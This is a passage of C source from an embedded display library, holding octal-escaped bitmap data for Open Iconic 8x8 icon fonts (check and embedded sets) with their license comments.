"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\376\374\370\370\360\340\300\300\200\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\376\376\374\370\340\300\200\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\370\374\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377~" "~<\30\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\377\377\377\377\377\376\374\370\340\300\200\0\0\0" "\200\340\360\370\374\377\377\377\377\377\177\77\17\7\3\1\0\0\0\0\377\177\77\37\37\17\7\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\177\377\377\377\377\377\376\377" "\377\377\377\377\77\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\374\377\377\377\377\377\177\77\177" "\377\377\377\377\377\376\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\374\376\377\377\377\377\377\77\37\17\7\1\0\0\0\0" "\0\1\3\7\37\77\177\377\377\377\377\377\374\370\360\340\300\200\0\0\377\376\374\370\370\360\340\300\300\200\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\177\177\77\37\7\3\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\1\3\17\37\77\177\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377~" "~<\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\177\77\37\37\17\7\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\360\360\370\370\370\374\374\374\376\376\376" "\376\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\374" "\370\360\340@\0\0\0\0\0\200\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\7" "\3\1\0\0\0\0\340\370\377\377\377\377\377\377\177\77\37\37\17\17\7\7\3\3\3\1\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\200\376\377\177\77\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\77\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\360\374\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\300\340\340\360\360\370\370\374\374\376\376\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\370" "\360\340\300\200\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\374\376\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17" "\7\3\1\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\200p<\37\17\7\3\3\1\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\17\77\177\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\177\77\17\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: open_iconic_check_8x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 5/5 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_check_8x8[2564] U8X8_FONT_SECTION("u8x8_font_open_iconic_check_8x8") = "@D\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\376\374\370\360\340\300\200\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177" ">\34\0\0\0\0\0\0\200\300\340\360\370\374\376\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0" "\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0" "\0\0\0\0\10\34>\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\370\374\376\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\177" "\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360\370\370\370\374\374\376\376\376\376\377\377" "\377\377\377\377\377\377\377\377\377\377\376\376\376\376\374\374\370\370\370\360\340\340\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\177\377\377\377\377\377\376\374\370\340\300\0" "\0\0\0\0\0\300\360\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\201\303\347\377\377\377\377\377\377\377" "\376\360\300\0\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\7\17\37\77\177\377\377\377" "\377\377\377\177\77\37\17\7\3\1\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\374\77\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\1\3" "\3\1\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\77\0\3\17\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340" "\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\177\17\3\0\0\0\0\0\0\3\7\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\37\37\37\77\77\177\177\177\177\377\377" "\377\377\377\377\377\377\377\377\377\377\177\177\177\177\77\77\37\37\37\17\7\7\3\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360\370\370\370\374\374\376\376\376\376\377\377" "\377\377\377\377\377\377\377\377\377\377\376\376\376\376\374\374\370\370\370\360\340\340\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\370\374\376\377\377\377\377\377\377\377\377\377\177\177\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\177\377\377\377\377\377\377\377\377\377\376\374\370\340\300\0" "\0\0\0\0\0\300\360\376\377\377\377\377\377\377\377\377\377\377\377\347\303\201\0\0\0\0\1\3\7\17\37\77" "\177\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\201\303\347\377\377\377\377\377\377\377\377\377\377\377" "\376\360\300\0\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0" "\0\0\1\3\3\1\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\374\77\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0" "\0\0\200\300\300\200\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\77\0\3\17\177\377\377\377\377\377\377\377\377\377\377\377\347\303\201\0\0\0\0\200\300\340\360\370\374" "\376\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\201\303\347\377\377\377\377\377\377\377\377\377\377\377" "\177\17\3\0\0\0\0\0\0\3\7\37\77\177\377\377\377\377\377\377\377\377\377\376\376\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\377\377\377\377\377\377\377\377\377\177\77\37\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\37\37\37\77\77\177\177\177\177\377\377" "\377\377\377\377\377\377\377\377\377\377\177\177\177\177\77\77\37\37\37\17\7\7\3\1\1\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\200\300\340\360\370\374\376\376\374\370\360" "\340\300\200\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\177\77\37\17" "\7\3\1\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\376\374\370\360" "\340\300\200\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\200\300\340\360\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7" "\17\37\77\177\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\370\374\376\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\376\374\370\360\340\300\200\0" "\0\0\0\0\10\34>\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0" "\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177" ">\34\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\376\374\370\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177" "\77\37\17\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0" "\0\0\0\0\10\34>\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177" ">\34\0\0\0\0\0\0\0\1\3\7\17\37\77\77\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\77\77\37\17\7\3\1\0\0" "\0\0\0"; /* Fontname: open_iconic_embedded_8x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 17/17 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_embedded_8x8[8708] U8X8_FONT_SECTION("u8x8_font_open_iconic_embedded_8x8") = "@P\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\374\376\376\376" "\377\377\377\377\377\377\377\377\376\376\376\374\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\376\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\360\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\370\340\300\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300" "\200\0\0\0\360\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\374\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\77\177" "\177\377\377\377\377\377\377\177\177\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\0\0\300\360\376" "\377\377\377\377\377\377\377\377\376\360\300\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0x\374\376\377\377\377\377\377\377\377\376\376\374\374\374\374\374\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\374\374\374\374\374\376\376\377\377\377\377\377\377\377\376\374x\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\1\17\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\37" "\37\17\17\17\17\17\17\37\37\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\7\1\0\0\0\0" "\0\0\0\0\360\370\370\370\374\374\376\376\377\377\377\377\377\377\377\377\377\377\377\377\37\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\37\377\377\377\377\377\377\377\377\377\377\377\377\376\376\374\374" "\370\370\370\360\17\37\37\77\77\77\177\177\377\377\377\377\377\377\377\377\377\377\377\377\370\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\370\377\377\377\377\377\377\377\377\377\377\377\377\177\177\77\77" "\77\37\37\17\0\0\0\0\0\0\0\0\200\340\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\370" "\370\360\360\360\360\360\360\370\370\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\340\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\36\77\177\377\377\377\377\377\377\377\177\177\177\77\77\77\77\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\77\77\77\77\177\177\177\377\377\377\377\377\377\377\177\77\36\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\0\0\0\0\0\0\0\0\0\0\3\37\177" "\377\377\377\377\377\377\377\377\177\37\3\0\0\0\0\0\0\0\0\0\0\1\1\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376" "\377\377\377\377\377\377\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377\377\377" "\377\377\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\340\374\377\377\377\377\377\377\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\370\377\377\377\377\377\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\77\377\377\377\377\377\377\377" "\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\177\177\77\37\17" "\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\360\370" "\370\374\376\377\377\376\374\370\370\360\340\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\360\360\370\374\376\376\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\374\370\360\360\340\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\340\340\360\370\374\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\374\370\360\340" "\340\300\200\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\376\374\370\360" "\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340" "\360\370\374\376\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\177\77\37\17" "\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17" 